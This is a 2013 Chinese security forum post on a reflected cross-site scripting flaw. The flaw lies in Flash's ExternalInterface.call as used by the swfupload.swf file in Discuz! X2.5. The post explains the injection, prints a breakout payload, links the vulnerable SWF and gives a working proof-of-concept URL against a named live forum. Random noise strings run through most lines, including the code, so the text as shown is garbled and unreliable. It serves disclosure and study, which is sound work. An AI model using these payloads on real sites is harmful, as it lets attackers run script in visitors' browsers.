找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2090|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说4 m$ }. }8 _  _9 ^0 W  d6 @; o

' G! l) M( A5 a# |3 N% L8 Fflash.external.ExternalInterface.call($methodName, $parameter)+ [- Q  U% ]% R0 n" B( X
在浏览器中执行的是
$ k6 m" e* K& G9 b1 z0 ?' M
0 w" p  L% n/ `: ^1 m  E  U+ Qtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}/ l1 j, I- T- d8 E; N
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
( Y: M# B# U, G& f* k& |* z9 r
& V7 k/ K% Q. V% R3 O9 kflash.external.ExternalInterface.call("object."+$methodName, $parameter)
1 D* t, L' k8 `. q& s$methodName = a())}catch(e){alert(/xss/)}//7 g& c! Q2 |8 p4 I6 O' O
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。- n6 G2 z4 a; k# j0 p
+ i2 `* ^7 F" Z; w+ g8 X
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
! i' b" Q% b; P+ [/ r
# W$ E  u. b2 I这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
1 k8 {* I& Y# ~" f: L( v杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。9 \( H7 K! E2 H/ X# X7 P$ g4 L  ~
) ]6 `! r# G# ^' y( z6 ~9 a
9 |6 E  o+ F! Y) ?, E
: J+ k+ ^% Q3 f
漏洞文件:upload\static\image\common\swfupload.swf
- M' B) l: r1 ^0 u+ u( q/ ^% ?* A9 X" S2 {# v- D, I+ q- [
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
: M5 e# s9 \# z" p9 M
6 ]" j3 y* R8 b* ^/ l8 P1 K6 c  a7 R# o5 `" \! f$ O# D+ K
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
0 R0 D: u9 G+ r/ ?8 B& P8 e$ k- m8 P
  d* f) B2 _7 x: S% `5 J. Q) f' c2 v) [' ^5 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表